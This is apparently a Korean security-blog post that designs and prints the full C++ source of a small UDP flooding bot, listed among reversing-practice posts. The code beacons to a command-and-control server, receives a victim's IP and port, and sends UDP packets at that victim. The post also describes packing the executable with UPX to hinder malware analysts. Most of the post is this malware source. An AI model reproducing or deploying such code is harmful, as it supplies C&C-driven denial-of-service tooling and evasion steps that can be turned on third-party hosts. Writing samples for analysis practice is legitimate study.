1. 전체 Flowchart
순서
1) 악성코드는 서버에 10004번 포트로 'IMHACKER_10자리 숫자' 메시지를 UDP 통신으로 전송한다.
2) C&C 서버로 부터 공격 대상자 IP와 PORT 번호를 받고 공격지에 UDP Flooding 공격을 수행한다.
=> 10자리 숫자를 10번 반복해서 전송
3) 악성코드는 단독으로 실행하는 EXE 파일로 작성
4) 악성코드의 분석가를 방해하기 위해 EXE 파일을 난독화하였다.
2. Malware 설명
사용된 악성코드: UDPMalware.exe
사용된 소스파일: source.cpp
#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <winsock2.h>
#pragma comment(lib,"ws2_32.lib")
#define PORT 10004//서버의 포트 번호
#define BUFSIZE 1024
int main(void) {
WSADATA winsockData;//윈속 초기화 구조체
SOCKET serverSocket;//소켓 구조체
SOCKADDR_IN serverAddr;
SOCKADDR_IN clientAddr;
char msg1[] = "IMHACKER_**********";//C&C 서버에게 보내는 메시지
char buf[BUFSIZE];
char msg2[] = "*********";//Victim에게 보내는 메시지
int sendLen, recvLen, clientSize;
//윈속 초기화 함수
if (WSAStartup(0x202, &winsockData) == SOCKET_ERROR) {
printf("[-] Winsocket Initialzation falied.\n");
WSACleanup();
return 0;
}
printf("[+] Winsock Init.\n");
memset(&serverAddr, 0, sizeof(serverAddr));
memset(&clientAddr, 0, sizeof(clientAddr));
memset(buf, 0, BUFSIZE);
//socket 사용을 위한 소켓 주소 구조체 초기화
serverAddr.sin_family = AF_INET;//IPv4
serverAddr.sin_addr.s_addr = inet_addr("C&C 서버 IP");//C&C 서버 통신 IP
serverAddr.sin_port = htons(PORT);//C&C 서버 통신 PORT
//소켓을 열고, 열린 소켓에 해당하는 파일 디스크립터 리턴
serverSocket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if (serverSocket == INVALID_SOCKET) {
printf("[-] Socket creation failed.\n");
WSACleanup();
return 0;
}
printf("[+] Socket create.\n");
//1번)C&C Server에게 IMHACKER_******** 보내기
sendLen = sendto(serverSocket, msg1, sizeof(msg1), 0, (struct sockaddr *) & serverAddr, sizeof(serverAddr));
if (sendLen != sizeof(msg1)) {
printf("[-] sendto() error.\n");
return 0;
}
//2번) C&C Server에게 iP, PORT 값을 받음
clientSize = sizeof(clientAddr);
recvLen = recvfrom(serverSocket, buf, BUFSIZE, 0, (struct sockaddr*) & clientAddr, &clientSize);
if (recvLen < 0) {
printf("[-] recvform() error.\n");
return 0;
}
printf("[+]Recevied: %s\n", buf);
//buf에 저장된 Victim의 IP와 PORT 잘라내기
int i = 0;
char *sArr[10] = { NULL, };
char *ptr1 = strtok(buf, "_");
while (ptr1 != NULL) {//자른 문자열이 나오지 않을 때까지 반복
sArr[i] = ptr1;//문자열을 자른 뒤 메모리 주소를 문자열 포인터 배열에 저장
i++;//인덱스 증가
ptr1 = strtok(NULL, ":");//다음 문자열을 잘라서 포인터를 반환
}
char *ptr2 = strstr(buf + 18, "7");
int num = atoi(ptr2);//Victim의 PORT 번호를 INT형 변환
//socket 사용을 위한 소켓 주소 구조체 초기화
clientAddr.sin_family = AF_INET;//IPv4
clientAddr.sin_addr.s_addr = inet_addr(sArr[1]);//Victim 통신 IP
clientAddr.sin_port = htons(num);//Victim 통신 PORT
//3번)10번 반복하여 Victim 에게 msg2를 보냄.
for (int count = 0; count < 10;count++) {
sendLen = sendto(serverSocket, msg2, sizeof(msg2), 0, (struct sockaddr *) & clientAddr, sizeof(clientAddr));
if (sendLen != sizeof(msg2)) {
printf("[-] sendto() error.\n");
return 0;
}
}
closesocket(serverSocket);
return 0;
}
1.4에서 악성코드 분석가를 방해하기 위해 정상적인 파일을 패킹하였다.
(upx 프로그램)
'Security > Reversing' 카테고리의 다른 글
[악성코드동적분석] PracticalMalwareAnalysis-Lab03-01 분석 (0) | 2020.07.28 |
---|---|
[UDP Flooding] UDP Flooding Malware 정적/동적 분석 (0) | 2020.07.28 |
[x86 디스어셈블리 속성] 어셈블리 실습 (0) | 2020.05.28 |
[악성코드정적분석] PracticalMalwareAnalysis-Lab01-04 분석 (0) | 2020.04.25 |
[악성코드정적분석] PracticalMalwareAnalysis-Lab01-03 분석 (0) | 2020.04.24 |